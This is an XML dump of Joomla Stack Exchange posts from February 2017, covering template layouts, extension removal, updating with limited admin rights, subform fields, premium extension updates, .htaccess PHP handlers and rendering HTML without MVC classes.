  <row Id="19153" PostTypeId="2" ParentId="19151" CreationDate="2017-02-16T16:44:28.500" Score="0" Body="&lt;p&gt;Maybe I misunderstood your question, but you seem that you just need to do that in a &lt;code&gt;config.xml&lt;/code&gt; file. Check the &lt;code&gt;administrator/components/com_content/content.xml&lt;/code&gt; and how it includes the &lt;code&gt;config.xml&lt;/code&gt; file, and then check the &lt;code&gt;administrator/components/com_content/config.xml&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-02-16T16:44:28.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19155" PostTypeId="2" ParentId="19132" CreationDate="2017-02-16T23:41:49.960" Score="1" Body="&lt;p&gt;You could look in the html-folder in your bought template and try to copy the files there and try to adjust them to your own layout then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link where you can see how to add a custom blog layout, it should help to analyze the bought templates structure, so you maybe can change it for your needs.&#xA;&lt;a href=&quot;https://www.ostraining.com/blog/joomla/custom-category-layout/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.ostraining.com/blog/joomla/custom-category-layout/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9699" LastActivityDate="2017-02-16T23:41:49.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19156" PostTypeId="1" CreationDate="2017-02-17T06:56:08.900" Score="0" ViewCount="69" Body="&lt;p&gt;I installed Uber template, but the article titles in the Category are not showing. Please what do I do?&lt;/p&gt;&#xA;" OwnerUserId="9702" LastEditorUserId="168" LastEditDate="2017-02-19T08:38:55.333" LastActivityDate="2017-02-23T07:27:32.370" Title="Articles titles are not showing up in Uber template" Tags="|articles|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19157" PostTypeId="2" ParentId="19152" CreationDate="2017-02-17T14:50:26.833" Score="0" Body="&lt;p&gt;This is most likely caused by a security plugin somewhere on your website. Try uninstalling all non-core plugins one by one in order to find out which one is the culprit.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-02-17T14:50:26.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19158" PostTypeId="2" ParentId="18867" CreationDate="2017-02-17T21:30:08.743" Score="1" Body="&lt;p&gt;&lt;strong&gt;Manual Removal&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The removal of an extension sometimes fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can usually complete the removal manually by:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;removing the extension files (see the xml manifest file included in the installation file for the list of files and folders that the extension installs) using the File Manager in your hosting control panel or an FTP client&lt;/li&gt;&#xA;&lt;li&gt;removing the record in the extensions table using phpMyAdmin or similar&lt;/li&gt;&#xA;&lt;li&gt;removing any database tables associated with the extension&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some extensions may also be associated with records in the assets, schemas, menu and other database tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reinstall/Remove&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option that sometimes works when items are missing and removing an extension fails is to reinstall a fresh copy over the top of the existing install to ensure all the items are present. You can then retry the removal and it may have a better chance of completing successfully.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-02-17T21:30:08.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19159" PostTypeId="2" ParentId="18851" CreationDate="2017-02-18T18:18:19.773" Score="1" Body="&lt;p&gt;I had this issue one time and seems that is a memory issue. Try to set a higher value in your php.ini memory_limit parameters.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;memory_limit = 1G&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then restart your apache or php-fpm services.&lt;/p&gt;&#xA;" OwnerUserId="9705" LastActivityDate="2017-02-18T18:18:19.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19160" PostTypeId="1" CreationDate="2017-02-18T18:58:13.253" Score="3" ViewCount="59" Body="&lt;p&gt;I have recently started doing some maintenance of a website managed by Joomla. It kept giving me headaches, so I decided it might be due to the fact that the version is outdated. However, it just seems like I'm lacking options - there is no Extention Manager, no Components-&gt; Joomla updates, no nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be the case that Im not &quot;the real&quot; administrator, i.e. that I don't have full permission to modify stuff? At this point, it seems like I can only edit/publish/unpublish stuff.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there any alternative way I could do the update/change something for better?&lt;/p&gt;&#xA;" OwnerUserId="9706" LastActivityDate="2017-02-18T20:04:24.047" Title="Cannot find a way to update Joomla from 3.3.6" Tags="|joomla-3.3.x|update|permissions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19161" PostTypeId="2" ParentId="19160" CreationDate="2017-02-18T19:26:02.967" Score="2" Body="&lt;p&gt;You are probably an Administrator and not the Super User, you can check your account at &lt;strong&gt;Users&lt;/strong&gt;-&gt;&lt;strong&gt;Manage&lt;/strong&gt;, that's why you don't have access to all Joomla functions.&#xA;You can try to manually update Joomla follow &lt;a href=&quot;https://docs.joomla.org/Updating_Joomla_(Manual_Method)&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; (not really sure if an Administrator even can) but i think that up the road you 'll need full access to make your life easier.&lt;/p&gt;&#xA;" OwnerUserId="7457" LastEditorUserId="7457" LastEditDate="2017-02-18T20:04:24.047" LastActivityDate="2017-02-18T20:04:24.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19162" PostTypeId="2" ParentId="18801" CreationDate="2017-02-18T21:52:20.807" Score="1" Body="&lt;p&gt;If you still have the old keys you've generated for reCAPTCHA v1 - it should still work.&#xA;If you generate new keys - they won't.&lt;/p&gt;&#xA;" OwnerUserId="9708" LastActivityDate="2017-02-18T21:52:20.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19163" PostTypeId="1" AcceptedAnswerId="20572" CreationDate="2017-02-19T13:50:46.633" Score="4" ViewCount="1563" Body="&lt;p&gt;I'm trying to use the Joomla subform field with multiple=&quot;true&quot; on (instead of using the old modal repeatable method).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that the data is not saving to the database.&#xA;I have read multiple examples but cannot see what I'm doing wrong. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I turn off multiple=&quot;true&quot; then the subform saves data as a JSON string to the database just fine. When I turn it back on, it won't save no matter what I try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue is basically this one, but there were no solutions and I don't have enough reputation to simply comment on it: &lt;a href=&quot;https://joomla.stackexchange.com/questions/17304/why-doesnt-my-subform-field-data-get-saved?rq=1&quot;&gt;Why doesn&amp;#39;t my subform field data get saved?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My component XML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;list_links_url&quot; &#xA;        type=&quot;subform&quot;&#xA;        label=&quot;Subform Field&quot; &#xA;        description=&quot;Subform Field Description&quot;&#xA;        layout=&quot;joomla.form.field.subform.repeatable-table&quot;&#xA;        multiple=&quot;true&quot;&#xA;        formsource=&quot;/administrator/components/com_products/model/form/subforms/subform_list_links.xml&quot; &#xA;    /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Subform XML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;        &amp;lt;field name=&quot;link&quot;&#xA;            label=&quot;Link&quot;&#xA;            type=&quot;text&quot;&#xA;            description=&quot;Enter a URL&quot; &#xA;        /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;FYI - Brand new install of Joomla 3.6.5 and PHP 7.0.10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="9710" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2020-06-09T09:33:26.833" Title="Subform multiple data not saving" Tags="|development|joomla-3.6|custom-component|form-fields-types|subform|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19164" PostTypeId="1" CreationDate="2017-02-19T23:09:27.697" Score="5" ViewCount="453" Body="&lt;p&gt;As &lt;a href=&quot;https://extensions.joomla.org/support/knowledgebase/item/joomla-update-system-requirement/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article&lt;/a&gt; says, the extension update system is now compulsory for all extensions in JED. I searched the web but did not find any satisfactory information about implementing it for my premium extensions. So here is my proposed solution- &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;In extension's any class  constructor add download id (or whatever) value (like dlid=12345678901) in extra_query column in #__update_sites&#xA;  table. This process depends on your own like you may take dlid input&#xA;  from extension's setting page and add it to the above table column via&#xA;  class constructor or any other ways.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;The Joomla update system will add this extra_query parameter at the end of your defined download URL(if I am wrong tell me!). If you set the&#xA;  download url in your update site xml file like this -&#xA;  &lt;a href=&quot;http://www.yourwebsite.com/index.php?option=com_yourcom&amp;amp;task=comsubctrl.updateverify&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.yourwebsite.com/index.php?option=com_yourcom&amp;amp;task=comsubctrl.updateverify&lt;/a&gt;&#xA;  then the full download url will be -&#xA;  &lt;a href=&quot;http://www.yourwebsite.com/index.php?option=com_yourcom&amp;amp;task=comsubctrl.updateverify&amp;amp;dlid=12345678901&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.yourwebsite.com/index.php?option=com_yourcom&amp;amp;task=comsubctrl.updateverify&amp;amp;dlid=12345678901&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Now when the Joomla update system sends the request by the above url to your update website then your site's component's subcontroller's&#xA;  (comsubctrl) method updateverify() will verify the validity of dlid&#xA;  and then respond with the premium extension zip file. Then after&#xA;  getting the zip file in response, the Joomla update system installs&#xA;  that zip as a new updated extension.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These are my basic ways to handle updating premium extensions directly from the Joomla update manager. So kindly suggest corrections, alternatives or easier and more secure ways to do that. I hope this is gonna be a great post for implementing update system for everybody including myself.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="115" LastEditDate="2017-06-02T00:26:41.020" LastActivityDate="2020-12-14T16:48:30.827" Title="updating premium joomla extensions from update manager" Tags="|joomla-3.x|joomla-2.5|extensions|update|extension-update|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19165" PostTypeId="2" ParentId="19152" CreationDate="2017-02-20T01:43:08.793" Score="1" Body="&lt;p&gt;Finally I managed to resolve the issue. It was my mistake when generating the query. I used &lt;code&gt;$db-&amp;gt;quoteName('something')&lt;/code&gt; instead of &lt;code&gt;$db-&amp;gt;quote('something')&lt;/code&gt; which resulted in a wrong query (I checked the generated query string on phpmyadmin and it was indeed incorrect as &lt;code&gt;quoteName(...)&lt;/code&gt; results in surrounding the string with grave char (`) instead of single quotation marks). This small detail was causing the error and Joomla redirection to login page. Hope it will help somebody with simillar issues.   &lt;/p&gt;&#xA;" OwnerUserId="9697" LastActivityDate="2017-02-20T01:43:08.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19166" PostTypeId="1" AcceptedAnswerId="19396" CreationDate="2017-02-20T06:37:28.480" Score="2" ViewCount="66" Body="&lt;p&gt;I want to know that if the Joomla's (3.6.5) default server-side validation (for forms' fields) is secure enough to rely on it only? In other words, is it necessary to make changes to Joomla's server-side validation codes or it is secure and good enough for setting up a website? (What decision you have made or are going to make about this?)&lt;/p&gt;&#xA;" OwnerDisplayName="user9658" LastActivityDate="2017-03-21T18:42:47.237" Title="Joomla's default server-side validation" Tags="|joomla-3.x|security|validations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19167" PostTypeId="1" CreationDate="2017-02-20T10:39:34.430" Score="3" ViewCount="98" Body="&lt;p&gt;Where to find examples of both on the basis of joomla paltform to write an app using MVC.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How to use the controllers?&lt;/li&gt;&#xA;&lt;li&gt;How to use models?&lt;/li&gt;&#xA;&lt;li&gt;How to use views?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Please do not confuse this issue with Joomla CMS!&lt;/p&gt;&#xA;&lt;p&gt;This question is related to Joomla Platform 11.4+&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9457" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-11-18T05:33:38.543" Title="How to use MVC in joomla-platform" Tags="|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19168" PostTypeId="2" ParentId="16481" CreationDate="2017-02-20T11:51:13.243" Score="0" Body="&lt;p&gt;If you still having problems refreshing your cache you probably need to replace your legacies js scripts from a fresh joomla install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So download the exact version you are using, backup your media/system and copy the folder from the joomla install then clean the cache&lt;/p&gt;&#xA;" OwnerUserId="9691" LastActivityDate="2017-02-20T11:51:13.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19169" PostTypeId="2" ParentId="18801" CreationDate="2017-02-20T12:08:09.677" Score="1" Body="&lt;p&gt;For those who are with the same problem, I resolved mine using an extension called 'EXT Simple Contact Form'. I download it on: &lt;a href=&quot;http://www.ext-joom.com/en/extensions/ext-simple-contact-form-module.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.ext-joom.com/en/extensions/ext-simple-contact-form-module.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9525" LastActivityDate="2017-02-20T12:08:09.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19170" PostTypeId="1" CreationDate="2017-02-20T14:18:47.773" Score="1" ViewCount="606" Body="&lt;p&gt;My provider recently removed an older PHP version and I forgot to update one of the Joomla installations. Now I'm left with a broken front- and backend that only shows me &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EYnzQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EYnzQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What now? Is there any way I can fix this. I have of course ftp access to the site. Is there any good description of how to proceed?&lt;/p&gt;&#xA;" OwnerUserId="220" LastActivityDate="2017-07-27T09:44:46.780" Title="Update Joomla without working Backend (PHP version was updated)" Tags="|php|update|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19171" PostTypeId="2" ParentId="19170" CreationDate="2017-02-20T14:53:13.587" Score="2" Body="&lt;p&gt;The fix was easy. The problem was the &lt;code&gt;.htaccess&lt;/code&gt; file in the root directory of the installation. There, you find at the very beginning something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AddHandler php55-cgi .php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my case, this pointed to &lt;code&gt;php53-cgi&lt;/code&gt; which my provider did not support any longer. I looked up, what versions are available now and found a listing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/y0mGl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y0mGl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After editing the &lt;code&gt;.htaccess&lt;/code&gt; file and manually setting it to &lt;code&gt;php5-cgi&lt;/code&gt; I could access my site again and update the Joomla installation. After the update, &lt;code&gt;.htaccess&lt;/code&gt; now points to &lt;code&gt;php55&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="220" LastActivityDate="2017-02-20T14:53:13.587" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19172" PostTypeId="1" CreationDate="2017-02-20T15:52:03.620" Score="0" ViewCount="38" Body="&lt;p&gt;This is a very basic question, requiring only the broadest of answers. I'm pretty new to Joomla and CMS development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the homepage of my joomla site I have four feeds showing articles side by side. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is a mod_feed reading and RSS, one is a mod_widgetkit_twitter showing my tweets, and two are mod_zooitem's showing my Zoo &quot;knowledge base&quot; and &quot;news&quot; respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to have one module that shows a feed of all four of these sources mixed in together, ordered chronologically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am about to embark on the messy and longwinded task of making a diffiuclt-to-access page on my joomla site showing all four feeds next to each other, then writing a script to scrape all four feeds and add the new entries to a DB or an XML file, making that script a cronjob and then writing a new module that displays news from the collated DB/XML file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like there's probably a more elegant way of achieving this and I was wondering if any of you have any good ideas? I'm using Joomla 3.4.8.&lt;/p&gt;&#xA;" OwnerUserId="9716" LastActivityDate="2017-02-21T07:50:51.737" Title="Make a module that is a feed of multiple other modules?" Tags="|joomla-3.x|cms|zoo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19174" PostTypeId="1" AcceptedAnswerId="19190" CreationDate="2017-02-20T23:35:19.713" Score="1" ViewCount="119" Body="&lt;p&gt;I found nothing related to non-MVC component creation in the Joomla docs. Maybe the problem is with me or with my search keywords. Anyways, I am curious whether there is a templating engine I can use, or should I just use plain PHP + HTML, and the CSS will cover the rest? I guess Joomla will fill my content into the content area of the page. Any best practices?&lt;/p&gt;&#xA;" OwnerUserId="9637" LastActivityDate="2017-02-22T11:17:11.450" Title="How to generate HTML without the MVC classes?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19178" PostTypeId="2" ParentId="19174" CreationDate="2017-02-21T07:47:03.853" Score="0" Body="&lt;p&gt;There is nothing in the doc and no best practice for not following MVC.  On the other hand Joomla will let you do whatever you want without complaint.  It will execute your entry files and then you can do anything you want - such as loading a templating engine, making your own routing processes, etc.  But once you leave behind MVC you kind of have to make your own way.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-02-21T07:47:03.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19179" PostTypeId="2" ParentId="19172" CreationDate="2017-02-21T07:50:51.737" Score="1" Body="&lt;p&gt;Sorry if my answer is too obvious, but why can't you write a custom module and then borrow code out of the other modules to pull all the data in, sort by date and build your own output?  The notion of scraping the data off your own site seems... well... y'know... how does one put it...&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-02-21T07:50:51.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19183" PostTypeId="1" CreationDate="2017-02-21T15:38:20.210" Score="1" ViewCount="1617" Body="&lt;p&gt;I have 3 navigation menus on my website. The first menu contains 8 menu items. The second and third contain the same menu items but split with 4 on the left and 4 on the right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to duplicate menu items. I am aware they can share alias but I can't save them with the same names and I would like 'Home' 'About' 'Contact' to read the same on both the large 8 item and smaller 4 item menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="9722" LastActivityDate="2017-02-23T17:55:28.613" Title="Using same menu item in multiple menus" Tags="|joomla-3.x|menu|menu-item|navigation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19185" PostTypeId="2" ParentId="19156" CreationDate="2017-02-21T18:57:06.193" Score="-2" Body="&lt;p&gt;Put &lt;code&gt;style=&quot;xhtml&quot;&lt;/code&gt; at &lt;code&gt;index.php&lt;/code&gt; for uber template &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;???&quot; style=&quot;xhtml&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9721" LastEditorUserId="126" LastEditDate="2017-02-23T07:27:32.370" LastActivityDate="2017-02-23T07:27:32.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19186" PostTypeId="1" CreationDate="2017-02-22T01:57:45.823" Score="3" ViewCount="334" Body="&lt;p&gt;I'm new at this, any help is appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot find the main page content on the backend of Joomla. I went into Edit Menu Items learned the menu type is Featured Articles, but when I search through Featured Articles on the Admin panel only one article comes up and it is not the content on the home/main page that I desperately need to edit. &#xA;Also learned the link is index.php?option=com_content&amp;amp;view=featured &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any chance this is a module inside an article? Learning about that is on my to-do list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template is plethora, using Joomla 3.6.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, &#xA;Jessie&lt;/p&gt;&#xA;" OwnerUserId="9727" LastEditorUserId="126" LastEditDate="2017-02-28T12:12:09.387" LastActivityDate="2017-04-29T13:45:51.610" Title="Cannot find featured articles on Joomla Backend" Tags="|templates|articles|menu-item|module-manager|featured-articles|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19187" PostTypeId="1" AcceptedAnswerId="19188" CreationDate="2017-02-22T02:27:20.410" Score="1" ViewCount="71" Body="&lt;p&gt;Is it possible to run &lt;code&gt;JQuery&lt;/code&gt; or &lt;code&gt;JavaScript&lt;/code&gt; in a Joomla Article?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask because I have tried just about every possible option I see on forums/interwebs and the data does not display as I desire.&lt;/p&gt;&#xA;" OwnerUserId="9728" LastActivityDate="2017-02-22T04:43:51.783" Title="Run Code From Joomla Article" Tags="|php|javascript|jquery|joomla-3.5|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19188" PostTypeId="2" ParentId="19187" CreationDate="2017-02-22T04:43:51.783" Score="1" Body="&lt;p&gt;yep you can totally run javascript in a Joomla article (I presume you mean can I insert javascript into the html/code view of the Joomla editor and this can run on page load when an article is viewed). BUT - if you are using an editor like JCE Editor then javascript will be stripped by default and you will need to change the editor profile to allow javascript.  Can you more succinctly describe your issue if it is something else or if I am misinterpreting?&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-02-22T04:43:51.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19189" PostTypeId="1" CreationDate="2017-02-22T07:11:14.997" Score="0" ViewCount="3972" Body="&lt;p&gt;With reference to the subject mentioned above.. I've spent a couple days with these issue and can't find any answers anywhere.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;i'm able to change and save the global configuration settings.&lt;/li&gt;&#xA;&lt;li&gt;i'm able to send test mail with same configuration to another website.&lt;/li&gt;&#xA;&lt;li&gt;i'm runnning joomla 3.6.5 @localhost&lt;/li&gt;&#xA;&lt;li&gt;using the SMTP option&lt;/li&gt;&#xA;&lt;li&gt;and this is the config&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Send mail : Yes &lt;br/&gt;&#xA;Disable Mass Mail : No &lt;br/&gt;&#xA;From Email : xxx@gmail.com &lt;br/&gt;&#xA;From Name : xxx &lt;br/&gt;&#xA;Mailer : SMTP &lt;br/&gt;&#xA;SMTP Host : smtp.gmail.com &lt;br/&gt;&#xA;SMTP Port : 465 &lt;br/&gt;&#xA;SMTP Security : SSL/TLS &lt;br/&gt;&#xA;SMTP Authentication : Yes &lt;br/&gt;&#xA;SMTP Username : xxx@gmail.com &lt;br/&gt;&#xA;SMTP Password : xxx &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error in back-end : No &lt;br/&gt;&#xA;Error in console : Uncaught ReferenceError: sendtestmail_url is not defined&#xA;    at HTMLButtonElement. (sendtestmail.js:6)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me if u have any ideas.. i'm lost.. Thanx in advance.&lt;/p&gt;&#xA;" OwnerUserId="9730" LastEditorUserId="9730" LastEditDate="2017-02-22T14:23:03.977" LastActivityDate="2017-03-25T00:26:43.637" Title="Can't Send Test Mail even the settings are correct" Tags="|joomla-3.x|global-configuration|joomla-mail|server-configuration|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19190" PostTypeId="2" ParentId="19174" CreationDate="2017-02-22T11:17:11.450" Score="0" Body="&lt;p&gt;I was too superficial by reading the docs. There are many classes I can possibly reuse by writing the code of my presentation layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to access the current router with &lt;code&gt;$japp-&amp;gt;getRouter()&lt;/code&gt;, so in theory it is possible to add customer routes and call the &lt;code&gt;execute($route)&lt;/code&gt; after that. By routing you can use the &lt;code&gt;JApplicationWebRouter&lt;/code&gt; abstract class or its descendants &lt;code&gt;JApplicationWebRouterBase&lt;/code&gt; or &lt;code&gt;JApplicationWebRouterRest&lt;/code&gt;. The &lt;code&gt;JApplicationWebRouter&lt;/code&gt; can be okay. You must implement the &lt;code&gt;parseRouter(string $route) -&amp;gt; string $controllerName&lt;/code&gt; and that's all. If you accept that you use only &lt;code&gt;JController&lt;/code&gt; implementations and these implementations are instantiated by the router the following way &lt;code&gt;new JControllerImpl($japp, $jinput)&lt;/code&gt; then it is fully reusable. Sadly this is not acceptable to me. The controllers are instantiated by a di container in my case, so I have to write my own router. The controller instantiation should have been put into a separate abstract method in this &lt;code&gt;JApplicationWebRouter&lt;/code&gt; class. I am not sure whether it is mandatory to have at least one &lt;code&gt;JController&lt;/code&gt; implementation in the component. In normal libs the site and admin entries; &lt;code&gt;example.php&lt;/code&gt;, &lt;code&gt;admin/example.php&lt;/code&gt; would contain some middleware installation code, which register the controllers on the router as well and the registered controllers would handle the requests. The docs and examples are chaotic regarding to this, but I guess you can handle requests in these entry points if you don't have a controller.php file, which I feel strange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By validation and type conversion I can use the &lt;code&gt;JInput&lt;/code&gt; class. I will use &lt;code&gt;$jinput-&amp;gt;getString($name, $default)&lt;/code&gt; and &lt;code&gt;$jinput-&amp;gt;getInt($name, $default)&lt;/code&gt; most of the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By json response I can use the &lt;code&gt;JResponseJson&lt;/code&gt;, but I don't like the json envelope it uses. The devs probably never heard of HTTP status headers, that's why they put things like &lt;code&gt;succcess:true&lt;/code&gt; into the json. An alternative approach to set the mime type with &lt;code&gt;JFactory::getDocument()-&amp;gt;setMimeEncoding($mimeType)&lt;/code&gt;. Be aware that this should contain only the mime type and subtype, so this is not a content-type header with charset. According to the docs you'll need a &lt;code&gt;Content-Disposition&lt;/code&gt; header too, they never explained why. As far as I remember I never used that by my single page javascript applications. I would be more worried about xhr response caching and things like that, but I did not find any cache support in &lt;code&gt;JDocument&lt;/code&gt; or &lt;code&gt;JApplication&lt;/code&gt; or &lt;code&gt;JResponseJson&lt;/code&gt;, so I assume it is non-existent and in the best scenario it is set to &lt;code&gt;private&lt;/code&gt;, &lt;code&gt;no-cache&lt;/code&gt;. I did not expect content security policy and cors support after this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By rendering HTML it is possible to reuse &lt;code&gt;JLayout&lt;/code&gt; implementations &lt;code&gt;JLayoutBase&lt;/code&gt; and its descendant &lt;code&gt;JLayoutFile&lt;/code&gt;. The &lt;code&gt;JLayoutBase&lt;/code&gt; doesn't give you much. The &lt;code&gt;JLayoutFile&lt;/code&gt; contains the important part; template file loading, compile and evaluation. By instantiation you need to use &lt;code&gt;new JLayoutFile($layoutId, $basePath, $options)&lt;/code&gt;, so for example: &lt;code&gt;$layout = new JLayoutFile('joomla.content.tags', JPATH_SITE . '/components/com_mycomponent/layouts')&lt;/code&gt; will load &lt;code&gt;/components/com_mycomponent/layouts/joomla/content/tags.php&lt;/code&gt; if I understand well. Afaik. this solution is somewhat similar to adding a directory to the path and trying to find the layout file using all of the path directories. So it will use the template dir &lt;code&gt;templates/mytemplate/html/layouts&lt;/code&gt; too, not just the component dir. It is okay, I mean I might be able to reuse some of the template layouts. For example I need to display input fields and their labels somehow in a multi column layout. It is possible to instantiate and render &lt;code&gt;JLayoutFile&lt;/code&gt; with &lt;code&gt;JLayoutHelper&lt;/code&gt; too. Actually I'll add a method to one of my containers to do that, so the base dir will be automatically injected. I'll probably won't use nested directory structures so I won't need the dot 